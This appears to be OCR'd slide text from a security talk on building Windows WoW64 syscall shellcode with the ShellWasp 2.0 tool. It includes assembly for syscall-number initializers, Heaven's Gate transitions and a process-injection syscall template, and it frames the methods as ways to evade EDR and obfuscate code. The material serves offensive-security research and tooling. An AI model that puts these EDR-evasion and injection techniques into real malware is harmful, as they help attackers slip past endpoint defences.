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Agenda

Z 1. Background - intro to shellcode, syscalls, etc.
/ 2. Reversing Syscalls in Wow64 Windows (7-11)
3. ShellWasp 2.0 and Mechanics of Calling
Syscalls in WoW64 Shellcode — multiple new
additions!
. Building Syscall Shellcode - demo!
s. Closing Remarks




Traditional Windows Shellcode

% e Shellcode usually uses WinAPI @xcé mov edi, dword ptr fs:[0x30]
functions. : :
;;;’ o _ <cd mov edi, dword ptr [edi + ©xc]
= Thisis done by walking the PEB
and traversing the PE file format G PIC T aC I <ol ETE R > By
to reach the exports directory. label @xd3:
e Shellcode is used in exploitation or as 9x58 lea esi, [edx + @x1f2]
part of malware. Ox5e lea edi, [edx + ©x214]
- Some malware has more PHWE LISy gac
o Ox65 push eax
sophisticated, complex ox66 push edi
shellcode. @x67 push esi

658 push eax

Ix69 push dword ptr [edx + ©xlcf]
>f pop eax
«7€ call eax

Shellcode shown in SHAREM shellcode analysis
framework: https://qgithub.com/Bwa3ll/sharem



https://github.com/Bw3ll/sharem

we \What is a Windows Syscall? d

= A is made by some user Appications
functions in the as a e s ]
way to request a from the e o2 Uowizan Gose
kernel. D
= The Windows syscall is the last step
from to
= In Windows, syscalls are not intended |
to ever be used by programmers. st ooy s s
= Windows syscalls utilize a special M:
( ), o
which is placed in the register. o | e o
o are also known as

or




topic for people who create custom software.
o It largely has NOT been used for shellcode, however.

= Malicious WinAPIs can be hooked by EDR, preventing their
usage.

« This is much less possible with Windows syscalls.

o  Thus, functionality implemented by Windows syscalls is inherently
more reliable.

o  Windows syscalls can be an outstanding way to evade EDR.

Z =  Windows syscalls has become a highly trendy red-team




Wint!ows Syscalls: “Undocumented”?

Because Microsoft does not intend for syscalls to be used
directly, these are regarded as “undocumented” - meaning that

Microsoft generally does not provide documentation on these.
o Afew dozen out of hundreds are on their web site.
m Rarely, they are forced to document some that become popular, so
that antivirus efforts can better identify their usage by malware
authors.

Undocumented means they are undocumented by Microsoft.
o  Many NTDLL functions be found in
m Notall NTDLL functions have a one-to-one correspondence Wlth
syscalls, but many any that site can also be used as syscalls.
m Numerous other syscalls are described in numerous web sources,
blogs, forums, etc.
o by Gary Nebbet
m Parts are out of date, but lots of expert insight into NTDLL.

Undocumented means that usage and implementation details

can and do change without notice.
o  Though often many remain the same or very similar.
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Origins of this Research

1
é « | and others created a shellcode analysis framework,
/ SHAREM, but we could find no syscall shellcodes, aside

from egghunters, other than one from 2005 (Bania).

o We looked extensively, so that we could make sure we enabled
support correctly for it.

s It quickly became apparent that syscall shellcode was mostly
uncharted territory.
e |tjust was notdone.
s While people love to use syscalls in higher-level code, it just is
not done in shellcode...until now!
o This led to reverse engineering of how to actually do syscalls in
shellcode.

o It led to the creation of ShellWasp, which automates a lot of the
process.




"= 0ur Research: Syscalls in Shellcode

- We are looking at creating shellcode for
applications running on emulation.

©)

o \WoWob4 lets us execute 32-bit applications on a 64-bit

processor.
= WoW64 = Windows on Windows (64-bit)

» Can we create shellcode thatis —

devoid of WinAPI calls?
- WIinAPl usage is the de facto standard for 99.9% of
shellcode, in terms of achieving functionality.

, .
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with syscalls.
Syscall System Service Numbers (SSNs) can change with
each release / 0OS build.

Many important syscalls remain the same across many releases,

changing infrequently.
Others change more often.

Syscalls: A Problem of Portability

As seen below from Mateusz "jO0Oru” Jurczyk's System
Call Table, there is a significant problem of portability

This makes them inherently unreliable across different 0S

\\NaN
~»

builds!
L Windows| .- Windows Windows| ...
Wu)\(%ows Server W\;«i:‘dtt;ws Server Windows 7 Server Wm:ows Windows 10
System Call Symbol 2003 2008 (hide) 2012 (hide)
Y 4 (show) h (show) (show)
SPO SP1 1507 1511 1607 1703 1709 1803 1809 1903

NtAcceptConnectPort 0x0060 | 0x0060 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002
INtAccessCheck 0x0061 | 0x0061 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000
NtAccessCheckAndAuditAlarm 0x0026 | 0x0026 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029
NtAccessCheckByType 0x0062 | 0x0062 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | Ox0063 | 0x0063
NtAccessCheckByTypeAndAuditAlarm 0x0056 | 0x0056 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059
tAccessCheckByTypeResultUst 0x0063 | 0x0063 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | Ox0064 | 0x0064
INtAccessCheckByTypeResultListAndAuditAlarm 0x0064 | 0x0064 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | Ox0065 | 0x0065
INtAccessCheckBy TypeResultlistAndAuditAlarmByHandle 0x0065 | 0x0065 0x0066 | Ox0066 | 0x0066 | Ox0066 | 0x0066 | Ox0066 | Ox0066 | 0x0066
Rda 2 oumamma e e P ey




wesHistory of Syscall Usage in Shellcode

- Egghunters: Egghunters use a syscall to search
process memory. Syscall used to check to see if

memory is valid.
o Ifmemory is valid, it will check each byte for a special, unique
tag.
o [ is frequently used for this - '
purpose. Egghuntress

4. uvq -----

. Syscall shellcode from 2005: This is the only nong#:?v

Egghunter usage of syscalls in shellcode.
o Four syscalls: : \ , and

Do

o PoCshellcode by Piotr Bania to set a registry key to cause a -
binary to be launched upon rebooting. Modern Egghunter
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Recent History of Syscalls
» A 2018 report by Hod Gavriel about syscall usage

in malware.
, and :
o Thisincluded dual loading of NTDLL.
o Thisreport was , leading to red-team syscall

tools that would follow in the next year.

- Some malware would dynamically parse NTDLL for

syscall values.

o malware searched for “emp, Oxb8" to find mov opcode
(b8) and then copied syscall number and other instructions.



== Shiny New Syscall Tools

— PoC syscall tool, in response to

malware research.

O

@)

O

O

Showed how syscalls can be used for LSASS memory
dump with Cobalt Strike.
Uses do determine OS version.
Very seldom used.
, by Cornelis de Plaa and stanhegt, of Outflank

— Generates 64-bit header /

Assembly file implants to use syscalls in
software made with Visual Studio.

©)

©)

O

Uses 64-bit PEB to determine OS build.
Popular but replaced by SysWhispers 2.
, by Jackson T.

Jackson T. Twitter



wmozws - FlephantSedl's Technique to Get Syscall ID from
Function Addresses!

. — A new way to generate syscalls, without

syscalls tables.

o ElephantSe4l saw a relationship
function stub and SSNs.

o and parses export table to reach NTDLL.
o Parses NTDLL and , starting with entries
o , by Manuel Ledn AKA ElephantSe4l.
. — A total re-imagining of SysWhispers,

borrowing ElephantSe4l’s

to deduce syscall ID from function address.
o  Primary difference: sorts NTDLL functions that start with

o Hashses & order saved; determines SSN, based on order, Jackson T. Twitter

o , by Jackson T.



2

: Hell's G — Dynamically extracts syscall values from
NTDLL

o  Searches for mov opcode, 0xb8.
o If found, it extracts the bytes next to it.
o June 2020, by Paul Lainé and smelly__vx (@amOnsec)

» Halo's Gate - Arefinement on Hell's Gate
o Endpoint Detection and Response (EDR) was overwriting
parts of the NTDLL function stub, making Hell's Gate not
work.
s ltdidn't do this for every NTDLL function.
) o Halo's Gate finds NTDLL function before or after the

modified NTDLL function. p

= It would add or subtract by 1, based on proximity to modified ! u\\
NTDLL function.

N s This builds upon sorting by addresses logic to allow Hell's "

’"’C . Gate to work even if parts of it are made unsuable by EDR. reenzOh

o April 20217, by Reenz0h, of Sektor7 %

@amOnsec

.'. .
\ \
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"=~ The “Secret” Behind Most Techniques?

« Most of these techniques will work if the Is able

to from one NTDLL function to the next.

o That predictable logic has allowed syscall IDs effectively to be
deduced from clues.
o  This work is thanks to ElephantSe4l.

« Most of the "modern” tools are built upon this premise:

2



Reverse Engineering
Windows Syscalls
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» In Windows 7 Wow64, the syscall can be found via |

|
5
\
\
{

o The IS register points to the :
0:009> u ntdll!ntallocatevirtualmemory

ntdll!NtAllocateVirtualMemory
777ffaco b815000000 mov
777ffac5 33c9 xor ecx, ecx

777ffac7 8d542404 lea edx, [esp+4]
777ffacb 64ff15c0000000 call dword ptr
777ffad2 83c404 add esp,4
777ftfad5 c21800 ret 18h

. holds the (syscall service number).
o This one points to

2w




=" Windows 7: WoW64 ~

- \We can dereference the + to find a pointer to

our far jump.
o We then jump to 64-bit mode.

o The segment selector denotes 64-bit mode; = 32bit
mode
0:009> dd [EHeE
73962320 eale2796733300 jmp 0033:7396271E
73962327 0000
« Whatis at ?
o Itpointsusto in
= By default, this is hidden from the PEB.
m ltisa , in 32-bit address space.

= Thefarjump goesto in



"= Windows 10;: WoW64 ~

- There is a hardcoded offset in NTDLL that leads to the

system call.
0 leads to

0:000> u ntdll!ntallocatevirtualmemory

ntdll!NtAllocateVirtualMemory:

76fe2bl0 b818000000 mov

76fe2bl5 balo88ff76 mov Set ntdll!Wow64SystemServiceCall ([ZEELEYL)
76fe2bla ffd2 call

76fe2blc c21800 ret

76fe2blf 90 nop

ntdll!Wow64SystemServiceCall:
77358870 2528923177 jmp dword ptr [ntdll!Wow64Transition ([AEREr¥L:) ]




"= 1gnoring Wow64SystemServiceCall? <

* The new way with and

76fe2bl5 bale88ff76 mov edx,offset ntdll!Wowe4SystemServiceCall (pwERt:i:¥%)

ntdll!Wow64SystemServiceCall:

77358870 12528923f77 ntdll!Wow64Transition

0:000> dd
7667000 76167000 77099000 00000000 000VVOOO

 That takes us to
0:000:x86> u 76f67000

wow64cpu!KiFastSystemCall:
76167000 €a09706a773300 Jjmp 0033:776A7009




"= 1gnoring Wow64SystemServiceCall? S

* The new way with and

76fe2bl5 bale88ff76 mov edx,offset ntdll!Wowe4SystemServiceCall (pwERt:i:¥%)

ntdll!Wow64SystemServiceCall:

77358870 12528923f77 ntdll!Wow64Transition

0:000> dd
7667000 76167000 77099000 00000000 000VVOOO

* The Windows 7 way with still works !
0:000> dd fs:co

0053:000000c0 76167000 00000409 00VVOOLRO 0LV

and lead to far jump to 64-bit mode!
* Both of these point to
e Far jump =2



Windows 117

0:000> u ntdll!ntallocatevirtualmemory
ntdll!NtAllocateVirtualMemory:
77884d50 b813000000 mov eax,|18h

77884d55 ba408f8a77 mov edx,offset ntdll!RtlInterlockedCompareExchange64+0x180
(77828 40)

77884d5a ffd2 edx

77884d5c ¢c21800 18h
77884d5f 90

I,

0:000> U EAEERELY

ntdll!Wow64SystemServiceCall:
778a8f40 f12520c29377 jmp dword ptr [ntdll!Wow64Transition (7793c220) ]
778a8f46 cc int

9:000> dd 7793c220 __
7793c220 WELILEEN 7793c000 00000000 ©PRRRR00

0:000> u P
77806000 €2096080773300 jmp 0033:77806009

- The old method of invoking syscalls still works!

0:000> dd
0053 :000000c0 PEEIISIEEY 00000409 00000000 0VYVLYO




A Tool for Syscall Shellcode



Windows 10 Windows 11

ra—w Wi n d OWS Re I ea Ses OS Release O0S Build OS Build 0S Release OS Build OS Build

* Syscall SSNs change
with each new release
of Windows.

* We can determine the
release by matching it

to the OS build number.

* This information can be
retrieved purely
through shellcode via
introspection.

Name Number (Hex)  Name Number (Hex)
Preview
Preview
Preview
Insider

22610 5852

Preview
Win. Server 2022
— T
R I N
Name Number (Hex)

ShellWasp: https://github.com/Bw3ll/ShellWasp



https://github.com/Bw3ll/ShellWasp
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Z ' « We can walk the Process

Environment Block (PEB) to find
useful pieces of information.

Walking the PEB

« OSBuildNumber is all we actually

need if Windows 10.

o ltis at offset OXAC from start of the
PEB.

o  You could use OSMajorVersion and
OSMinorVersion to check if different
OS version

= As with anything PEB-related, we
can find the PEB at fs:[0x30].

\\NNAN

ULONG OSMajorVersion; / /@xad
ULONG OSMinorVersion; //0xa8
USHORT OSBuildNumber; //@xac

0:000> dd 00ccd4000 +Oxac
00ccd4Pac H00004a64 00000002 00VRVVO3 VOVRVVV6

ShellWasp: https://github.com/Bw3ll/ShellWasp



https://github.com/Bw3ll/ShellWasp

1 I N
\\NNAN
S

bl B Identifying 0SMajorVersion &
1
7

0SMinorVersion

. OSMajorVersion & OSMinorVersion | Y-ONG OSMajorVersion; / /@xa4
can determine which version of Sohe Semnoplersions //@xa8
USHORT OSBuildNumber; //8xac

Windows.
0:000> dd 00cc4000 +Oxald
P0ccdPad 0000000a DOOOVOVO VVRAabd 0VOVVV02

= The PEB combined with these to
. . . . 0:000> dd 00cc4000 +0Oxa8
identify older versions versions of P0cc40a8 00000000 00004264 0RORRR2 PORRRVD3

Windows.

0:009> dd 7efde0OO +Oxad
7efdePad | 00000006 0000001 01001dbl 000002

0:009> dd 7efdeBOO +Oxa8
7efdeBa8 00000001 01001dbl 0OOOOOO2 OO
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' Let's,Turn This Into Shellcode

« Only minimal Assembly is needed to get 0SBuildNumber.

mov eBx, fs:[0x30]
mov ebx, [ebx+@xac]

005312b3 642130000000 mov eax,dword ptr fs:[00000030h ] ::
Ox4ab4 = 21h2
This is a recent Windows 10 release.
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atMaking the Syscall in Shellcode

. How we make the syscall depends on the OS

‘%" version. %.- T
9
9’: o  Which OS builds are we trying to support? |dOWS & 1 0/‘I 1

g

ourSyscall:

cmp dword ptr [edi-Ox4],0xa
jne win?7

winle:

call dword ptr fs:[0xcO]

ourSyscall: Windows 10/11% QL& i
Xor ecx, ecxX E 5, » E .

lea edx, [esp+4] -
call dword ptr fs:[0xcO] ourSyscall:

add esp, 4 call dword ptr fs:[0xcO]
ret ret

win7:

¥ xor ecx, ecx

il 1lea edx, [esp+4]

call dword ptr fs:[0xcO]
add esp, 4

ret




v ebx, fs:[0x30]

mov ecx, esp
sub esp, ©x1000
cmp bl, ©x64
jl lessl
push exld
push ©x120008
push ©x18b
'push ex55
push ex18
Jmp saveSyscallArray
lessl
cmp bl, ©x62
31 less2
push ©x1d
push ©x8
push ©x18b
push ©x55
push ©x18
jmp saveSyscallArray
less2:
cmp bl, ©xFe
j1 end
push exid
push ©x1a0008
push ©x194

sh ©x55

sh ©x18

= G CTRE - gyseal| [nitializer Shellcode ™ 2

saveSyscallArray:
mov edi, esp
mov esp, ecx

A S S S S R N e

A S S S S

21H2, Winl@ release

NtCreateKey « This initializer is if you are
NtWriteFile )

NtSetContextThread targeting only one OS.
NtCreateFile

NtAllocateVirtualMemory

; creating space on

. the stack to hold our
20H2, Winle release

SArDELeeY Checking for versions.
NtWriteFile ’ | d to look
T R For most of these we only need to look at one
NtCreateFile byte to see if there is match.
NtAllocateVirtualMemory
21H2, Winll release Pushing

the stack, placing them in the
NtCreateKey
NtWriteFile
NtSetContextThread
NtCreateFile
NtAllocateVirtualMemory

Our syscall values now can be referenced
from , pointing to the




mov eax, fs:[©x30]
mov ebx, [eax+@xac] <
mov eax, [eax+9xa4d]
mov ecx, esp
sub esp, ©x1000

%

cmp bl, ©x64 3 21H2, Winl@ release e e e . ..

31 less = This initializer is if you are

‘push ©xid ; NtCreateKey i

push ©x1a0008 ; NtWriteFile targehng Only one 0OS.

push ©x18b ; NtSetContextThread

push ©@x55 ; NtCreateFile

push ©x18 ; NtAllocateVirtualMemory : :

jmp saveSyscallArray ; creating space on
jLessl: the stack to hold our :

cmp bl, ©xFe ;3 21H2, Winll release

jl less2

‘&:: gﬁgm : ::ﬁﬁ::ifz Checking for versions.
:push ox194 ; NtSetContextThread For most of these we only need to look at one
push @x55 ; NtCreateFile byte to see if there is match.

push ©x18 ; NtAllocateVirtualMemory

jmp saveSyscallArray

less2:

'cmp bl, exBl ; Win7, Spl release !

51 end Pushing

push Sia Blce iy caopeom g / the stack, placing them in the

push x5 ; NtWriteFile

{push 8x150 ; NtSetContextThread

push @x52 ; NtCreatefFile

push @x15 ; NtAllocateVirtualMemory Our syscall values now can be referenced

' o .
saveSyscallArray: from ) pOIntlng to the :
push eax

edi, esp

mov
edi, ex4 OS Major Version is accessible via
esp, ecx




ITB M \\\\.\N

- Our Syscall Array

« After the , we have a
accessible via , to reach our syscall service numbers.

)

0:000> dd edi
0115ed7c 0000018b 00000174 00V0VVV60 0VVVVO1d

NtReplaceKey NtCreateKey

NtSetContextThread NtSetValueKey

ShellWasp: https://github.com/Bw3ll/ShellWasp



https://github.com/Bw3ll/ShellWasp
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\N\NSAN
- Our Syscall Array -
Location | Syscall SSN
= \We can use entries in our edi NtSetContextThread 0x18b
syscall array to set the 55N edi + 0x4 NtReplaceKey 0x174
before making the syscall. edi + 0x8 NtSetValueKey 0X60
edi + Oxc NtCreateKey Ox1d

NI

mov eax, [edi+Ox4] mov eax, [edi+Ox8]

11 S 11 11 S 11
mov eax, [edi] cd.- oursysca ca.— oursysca mov eax, [edi + Oxc]

call ourSyscall call ourSyscall

ourSyscall:
call dword ptr fs:[0xcO]
ret




2 2
T
A
",ORRK XK R ;e

%; XO0XK L% 0N"%p -5 _ -

%; XWOOF __3%%;p/; O ol “r e
a; % /v \;%p RO0%K; - et = Automates building templates
oy g ;9% %; ’x’f’\‘;?o“:,,\ = §.—_\ of syscall shellcode.
% W; W' ;% -
-=\_—." % ﬂ I,, M\ \
J = \==_j5,_ 0X; % -_ / = Nearly all user-mode syscalls
/ /- =%- J0%; Xk, “--__/
/1= ==X %; % supported.
/ s W 3% Ay P o Allthe ones | could find
\ =,-" di%; ;%%; .
1/ % 33%; function prototypes for.
// Ak
% e
k : = Solves the syscall portability
£l | IR /7 problem. . .
Pl bl | ANRER A e S o Uses PEB to identify OS build.
S | e S o T I R T T S R o Creates Syscall Array
amidc) BT ol b &N BN B
SEREN {6 1 O G R T b O B I

| . Supports Windows 7/10/11

Uses existing syscall tables.
o  Uses newly created syscall
tables for newer versions of

Build syscall shellcode. Windows 10 & 11.
Save current syscall shellcode to file.

Add or modify syscalls.

Add or modify Windows releases.

Syscall style configuration.

Save config file [config.cfg] with current selections.

Display options. ShellWasp: https://github.com/Bw3ll/ShellWasp

v.2.0: Bramwell Brizendine, 2022-2023

TO O F T
0 3 15 0=k 3



https://github.com/Bw3ll/ShellWasp

ShellWasp

= Users can easily and
quickly rearrange syscalls
in shellcode.

Syscalls have been rearranged.

Current Syscall Selections:

NtWriteFile

NtClose

NtSetContextThread

NtCreateFile

NtAllocateVirtualMemory

NtWriteFile

NtCreateKey
SysShellcode>Syscalls> ShellWasp: https://github.com/Bw3ll/ShellWasp



https://github.com/Bw3ll/ShellWasp

L N \::s::;:\ﬁ\Q::;:
- ShellWasp: Releases S

* Easy to select desired Windows releases via
config file or Ul.

* Can save changes made to config.
* All the newest 0S builds of Windows 10/11 are supported!

)

SysShellcode>WinReleases> a

Windows 10: Windows 7:

ri4 22H2 [X] spl SP1 [x]

ri3 21H2 [X] spe SPo [ ]

ri12 21H1 [x] Windows 11:

ri1 20H2 [ ] b2 22H2 [X]

rie 2004 [ ] bl 21H2 [X]

ro 1909 [ ]

r8 1903 [ ]

r7 1809 [ ]

ré 1803 [ ]

rs 1709 [ ]

r4 1703 [ ]

r3 1607 [ ]

r2 1511 [ ]

r1 15087 [ ] _
c - Clear current selections. ShellWasp: https://github.com/Bw3ll/ShellWasp



https://github.com/Bw3ll/ShellWasp
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Printing Results to Screen

= ShellWasp creates a
template using function
prototypes.

= ShellWasp manages
usage of different
syscalls.

= ShellWasp makes sure
the pointer to syscall
array remains intact.

push
push
push
push
push

push

mov eax, [edi+@x8]

call

mov edi, [esp+@x14]

push
push
push
push
push
push
push
push
push
push
push
push

mov eax, [edi+@x4]

call

mov edi, [esp+@x2c]

push
push
push
push

edi

2x20000000
2x20000009
2x20000000
2x20000000
©x20000000

ourSyscall

edi

©x00000000
0x00000000
0x00000000
0x00000000
©x00000000
2x20000000
©x200000009
2x00000000
2x00000000
©x00000000
©x00000000

ourSyscall

edi

©x00000000
©x00000000
0x00000000

e Ny N Ny e

e e N N N e e ey e Ny e

PULONG NumberOfBytesWritten
ULONG NumberOfBytesToWrite
PVOID Buffer

PVOID BaseAddress

HANDLE ProcessHandle

NtWriteVirtualMemory syscall

PVOID Attributelist

ULONG MaximumStackSize
ULONG StackSize

ULONG ZeroBits

ULONG CreateFlags

PVOID Argument

PVOID StartR__OUTine
HANDLE ProcessHandle
POBJECT_ATTRIBUTES ObjectAttributes
ACCESS_MASK DesiredAccess
PHANDLE ThreadHandle

NtCreateThreadEx syscall

PLARGE_INTEGER TimeOut
BOOLEAN Alertable
HANDLE ObjectHandle




' - SheIIWasp_: Saving to File

N AL

1 mov ebx, fs:[0x30]
2 mov ebx, [ebx+©xac]
3 mov ecx, esp
4
« ShellWasp exports = ol

to text file. & cmp bl, ©xFo ; 21h2, Winll release
7 31 end
8 push 6x18 ; NtAllocateVirtualMemory
9 push 6x36 ; NtQuerySystemInformation
18 push 0x26 5 NtOpenProcess
11 push @x55 ; NtCreateFile
12 push ©x4a ; NtCreateSection
13 push 0x28 ; NtMapViewOfSection
14 push ©x50 ; NtProtectVirtualMemory
15 push ©x3a ; NtWriteVirtualMemory
16 push ©xc5 ; NtCreateThreadEx
17 push ©xdeeea ; NtWaitForSingleObject

19 saveSyscallArray:
20 mov edi, esp
21 mov esp, ecx
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P ' SheIIWasp Config File

\\NNAN

[Windows 18]
r21h2 = False

e e * The config file, config.cfg, makes it easy to save
st your selections.

r20e4 = False

r1909 = False

r1%e3 = False

rl809 = False

ri8e3 = False . ®

r1799 - False * Can preload desired syscalls and Windows

11607 = False releases via config file or Ul.

ri511 = False
r15e7 = False » Can save changes made to config.

[Windows 7]
spé = Falsd
spl = False

[Windows 11) » Users can enter selections directly into the config
bs 2 e file via a text editor or through the user interface.

[SYSCALLS]
selected_syscalls = ['NtAllocateVirtualMemory', ‘'NtQuerySystemInformation', ‘'NtOpenProcess', ‘NtCreateFile', 'NtCreateSection’', 'NtMapViewOfSection',
'NtProtectVirtualMemory', ‘NtWriteVirtualMemory', ‘NtCreateThreadEx', ‘'NtWaitForSingleObject'])

[MISC)

print_string_literal_of_bytes = True
show_comments = True

syscall_style = x64Ex
intended_compiler = inlineVs
use_shareddata_for_winl0ll = False
encode_user_share_data = False
usd_encode_xor_key = Oxdeadbeef
usd_encode_with_add = False
usd_encode_add_val = ©xbad
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* ShellWasp: Invoking

NI

This syscall function supports Win 7 and 10/11.

ourSyscall: : Syscall Function

cmp dword ptr [edi-©x4], exa

jne win7

winl®e: ; Windows 10/11 Sys
call dword ptr fs:[©xce@]

ret

win7: ; Windows 7 Syscall

Xor ecx, ecx
lea edx, [esp+4]
call dword ptr fs:[©xcO]

add es
ret

p, 4

\\NNAN

the Syscall S

ShellWasp analyzes selected OS builds
to determine how to build the shellcode.
- If targeting Win10/11 OS builds, only the
modern way of invoking a syscall is needed.
If you are doing only Windows 7, only the
older style of invoking a syscall is needed.
If you want a combination of Win7/10/11,
call then you need both.
For Win7/10/11, ShellWasp adds extra
code to check the 0OS Major version.
The OS Major Version is saved before
the syscall array, for easy access.
If not combining Win7 with
10/11, then ShellWasp does not
check the OS version, asitis
unnecessary.
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“m - But... WAIT! There is more!

« ShellWasp 2.0 introduces new features:

o  Get OSBuild from User_Shared_Data - no need to mess with the PEB.
o Ultra elite, stealthy way of getting PEB
o Three novel Ways to invoke the syscall.

\\\\_

%hellwasp ShellWasp: https:/github.com/Bw3ll/ShellWasp
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“'m - Visiting User_Shared_Data

« With the latest Windows 0Ss, it is not necessary to visit the
PEB.

= The OS Build resides at an offset of User_Shared_Data.

o Thisis always at a fixed location in memory at Ox7ffe0260,
regardless of OS or OS Build.

o  0S Build is NOT present in User_Shared_Data for Windows 7.

o User_Shared_Data provides a fast and easy way for programs to get
common, basic information.

s Itis not generally considered a security issue.
« Because this is not valid for Windows 7, you would only

want to use this if certain the 0OS is Win 10/11 via
information gathering)

\\\\_

ShellWasp: https://github.com/Bw3ll/ShellWasp
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mov ebx, [ebx]
mov ecx, esp

sub esp, OXI%OM = This initializer utilizes

mov ebx,@x7ffed260 .  ; User_Shared_ta: 0SBuild sysca" Initializer: USD\\\\!‘}N

cmp bl, @x5D 3 22h2, Winll release User_Shared_Data for Win 10/11.
j1 lessl

push ©x1d ; NtCreateKey

push ©x1ae0e8 ; NtWriteFile :

push ©x198 ; NtSetContextThread ; creating space on

push ©x55 ; NtCreateFile the stack to hold our

push ©x18 ; NtAllocateVirtualMemory

jmp saveSyscallArray : _
lessi: Checking for versions.
cmp bl, ©x65 ; 22h2, Winl1@ release For most of these we only need to look at one
j1 end byte to see if there is match.

push ©x1d ; NtCreateKey

push ©x1a0008 ; NtWriteFile

push ©x18b ; NtSetContextThread :

push @x55 ; NtCreateFile Pushing

push ©x18 ; NtAllocateVirtualMemory the stack, placing them in the
saveSyscallArray:

mov edi, esp .
mov esp, ecx

Our syscall values now can be referenced

from , pointing to the




mov ebx,0xal53boe2
‘mov edx, Oxdeadbeef
add ebx, ©xbad

xor ebx, edx

mov ebx, [ebx]

mov ecx, esp <«

; XOR result = Ox7ffe0260,
i, HORT_Shr et DaER: (o614 = This initializer utilizes an encoded

AN\ \\

Syscall Initializer; USD

sub esp, ©x1000

‘cmp bl, ©x5D
pl lessl
‘push ex1d
\push ©x12a0008
push 0x198
push @x55
push ox18
Jmp saveSyscallArray
lessl:

cmp bl, ©x65
31 end

\push ox1d
‘push ©x1a0008
‘push ©x18b
‘push ex55
push ©x18

saveSyscallArray:
mov edi, esp «—
mov esp, ecx

A T I S S

User_Shared_Data for Win 10/11.

22h2, Winll release
; creating space on

NtCreateKey

NtiriteFile the stack to hold our
NtSetContextThread

NtCreateFile Checking for versions.
NtAllocateVirtualMemory For most of these we only need to look at one

byte to see if there is match.

22h2, Winle release

NtCreateKey Pushing

NtWriteFile the stack, placing them in the
NtSetContextThread

NtCreateFile

NtAllocateVirtualMemory

Our syscall values now can be referenced
from , pointing to the
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> Getting 0SBuild via PEB via R12

- Perform double Heaven's Gate to obtain the PEB:
- Perform Heaven's Gate #1 to 64-bit mode
- Dereference TEB64 from R12 to retrieve TEB (32-bit)
- Perform Heaven's Gate #2 to return to 32-bit mode
- Add offset 0x30 to base of TEB
« Presto! \We have the PEB!

- We are not familiar with any previous attempts
at using this technique to get OS Build.

- Heaven's gate partly obscures what is
happening!

AN\
N

ShellWasp: https://github.com/Bw3ll/ShellWasp
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“'m - Heaven's Gate

Heaven's Gate has been around for about 15 years.
We can invoke this with a long jump or long call.
o These generally won't work with shellcode.
More convenient in shellcode is a far return, or retf.
We provide the selector for the CS register: 0x33 - 64-bit

Then we provide the destination address followed by a retf.
o \We can get the destination address by a GetPC instruction and adjust the
result, pointing it to whatever we want.

Following Heaven's Gate, we can immediately use x64 code!
o We can transition to 64-bit mode with Heaven's Gate.

NextRetf:




push 0x33

canl cevrcs ey 0SBuild via PEB via R12 SN

GetPC1: -> x64
add [esp], 5

retf ; Invoke Heaven's gate -- go x64
_emit ex41 ; X64: mov ebx,dword ptr [ri2]
_emit ©x8b ; Get TEB from TEB64

_emit ©xlc

_emit ox24

push ©x23

call GetPC2
GetPC2: ->x86
mov [esp+4], ©x23
add [esp], ©xa

retf ; Invoke Heaven's gate -- go x86

mov ebx, [ebx+0x30] :
mov ebx, [ebx+Oxac] Get OS Build

Heaven's Gate #2




1 IIIIIL.

== Finding the 08 Build

ShellWasp 2.0 provides multiple ways to get the OS Build.

= \We can encode the User_Shared_Data.
o The purpose of this is obfuscation - to confuse someone who
may be trying to interpret the code.
o The values used for encoding operations are fully customizable.

\\\\_

1 fs PEBE [X] - Uses fs:[©x30] to find PEB and identify OS Build
Windows 7-11
pi ~12 PEB [ ] - Uses Heaven's Gate and rl12 to find PEB and identify OS Build

x64 code, mov ebx,dword ptr [rl2], gets TEB from TEB64.
Windows 7-11
3 sd [ ] - Uses User_Shared_Data to identify OS Build

4 encode [X] - Encode User_Shared Data to determine OS build with XOR key ©xc@de.
Windows 1©-11

5 X0 [excede] - Change XOR key for encoding User_Shared_Data.

6 add [X] - Get User_Shared Data by adding ©xbeef to starting value, ©x7ffd4371.

7 add val [@xbeef] - Change value to add to get User_Shared Data.

ShellWasp>Style>0SBuild>



1 -

« In xB4, there are a variety of ways to invoke the syscall: syscall,

sysenter, or int Ox2e.

« Starting in Windows 7, Wow32Reserved at offset OxcO of
TEB32 leads us to a far jump that allows us to transition to 64-

Novel Ways of Invoking the Syscall
)
7

bit mode before eventually going to kernel mode.
« This is pointed to by fs:[0xcO].

o Until now this has been the only way to invoke the syscall in WoW64.

ntdll!NtAllocateVirtualMemory:
7755fac@ b815000000 mov
7755fac5 33c9 xor
7755fac7 8d542404 lea
7755facb 64ff15c0000000 call
7755fad2 83c404 add
7755fad5 c21800 ret

0:000> u ntdll!ntallocatevirtualmemory

eax,15h

ecx,ecx

edx, [esp+4]

dword ptr fs:[@ceh]|
esp,4

18h

\\NNAN

e




=== An Epiphany

« I noticed in Windows 10/11if | followed the far jump into 64-
bit mode, it would take me to jmp qword ptr [r15+0xf8].
« | had never cared to look too far beyond what happened in

Windows internals beyond this point.
o Inalmost all debuggers, it is not possible to see - as 32-bit
debuggers skip over x64 code.
s Thesingle exceptionis x64 WinDbg

= My immediate epiphany was - why invoke a syscall by
calling fs:[0xc0] when | could bypass that entire step?

o  Shortly there after, simply testing revealed | could!

\\\\_

ShellWasp: https://github.com/Bw3ll/ShellWasp
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P ' Function to Invoke Syscall for Wow64 "
to go to jmp qword ptr [r15+0xF8]

« For Win10/11, ShellWasp generates code after the Heaven's gate

= This leads to Windows code in CpupReturnFromSimulatedCode
to help prepare transition to x64.

ourSyscall: ; Syscall Function

call buildDestRet

buildDestRet:

add [esp], ex17 ; Create return address for leaving kernel-mode
push ©x33 ; Push ©x33 selector for 64-bit

call nextRetf ; GetPC

nextRetf:

add [esp], 5 ; Create destination for Heaven's gate

retf ; Invoke Heaven's gate--transition to x64 code

db ©x41,0xff,0xa7,0xf8,0x00,0x00,0x00 ; x64 code as bytes, leading to syscall
; X64 code: jmp qword ptr [rl15+0F8h]
ret ; Return from kernel-mode, back to 32-bit



1
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y

N

I |

Benefits of this New Approach

